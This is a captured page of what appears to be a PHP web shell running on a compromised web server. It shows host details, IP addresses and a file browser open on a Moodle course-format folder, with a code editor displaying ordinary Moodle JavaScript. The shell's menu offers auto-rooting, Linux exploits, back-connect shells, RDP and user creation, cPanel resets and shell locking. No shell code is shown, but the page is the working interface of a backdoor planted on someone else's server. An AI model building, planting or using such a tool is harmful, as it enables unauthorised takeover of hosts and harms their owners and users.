Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.130.22
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
course /
format /
weeks /
[ HOME SHELL ]
Name
Size
Permission
Action
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
format.js
3.28
KB
-rw-r--r--
format.php
1.81
KB
-rw-r--r--
lib.php
23.13
KB
-rw-r--r--
renderer.php
2.79
KB
-rw-r--r--
version.php
1.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : format.js
// Javascript functions for Weeks course format M.course = M.course || {}; M.course.format = M.course.format || {}; /** * Get sections config for this format * * The section structure is: * <ul class="weeks"> * <li class="section">...</li> * <li class="section">...</li> * ... * </ul> * * @return {object} section list configuration */ M.course.format.get_config = function() { return { container_node : 'ul', container_class : 'weeks', section_node : 'li', section_class : 'section' }; } /** * Swap section * * @param {YUI} Y YUI3 instance * @param {string} node1 node to swap to * @param {string} node2 node to swap with * @return {NodeList} section list */ M.course.format.swap_sections = function(Y, node1, node2) { var CSS = { COURSECONTENT : 'course-content', SECTIONADDMENUS : 'section_add_menus' }; var sectionlist = Y.Node.all('.'+CSS.COURSECONTENT+' '+M.course.format.get_section_selector(Y)); // Swap the non-ajax menus, noting these are not always present (depends on theme and user prefs). if (sectionlist.item(node1).one('.'+CSS.SECTIONADDMENUS)) { sectionlist.item(node1).one('.' + CSS.SECTIONADDMENUS).swap(sectionlist.item(node2).one('.' + CSS.SECTIONADDMENUS)); } } /** * Process sections after ajax response * * @param {YUI} Y YUI3 instance * @param {NodeList} sectionlist of sections * @param {array} response ajax response * @param {string} sectionfrom first affected section * @param {string} sectionto last affected section * @return void */ M.course.format.process_sections = function(Y, sectionlist, response, sectionfrom, sectionto) { var CSS = { SECTIONNAME : 'sectionname' }, SELECTORS = { SECTIONLEFTSIDE : '.left .section-handle .icon' }; if (response.action == 'move') { // If moving up swap around 'sectionfrom' and 'sectionto' so the that loop operates. if (sectionfrom > sectionto) { var temp = sectionto; sectionto = sectionfrom; sectionfrom = temp; } // Update titles and move icons in all affected sections. var ele, str, stridx, newstr; for (var i = sectionfrom; i <= sectionto; i++) { // Update section title. var content = Y.Node.create('<span>' + response.sectiontitles[i] + '</span>'); sectionlist.item(i).all('.'+CSS.SECTIONNAME).setHTML(content); // Update the drag handle. ele = sectionlist.item(i).one(SELECTORS.SECTIONLEFTSIDE).ancestor('.section-handle'); str = ele.getAttribute('title'); stridx = str.lastIndexOf(' '); newstr = str.substr(0, stridx +1) + i; ele.setAttribute('title', newstr); // Update the aria-label for the section. sectionlist.item(i).setAttribute('aria-label', content.get('innerText').trim()); // Remove the current class as section has been moved. sectionlist.item(i).removeClass('current'); } // If there is a current section, apply corresponding class in order to highlight it. if (response.current !== -1) { // Add current class to the required section. sectionlist.item(response.current).addClass('current'); } } }
Close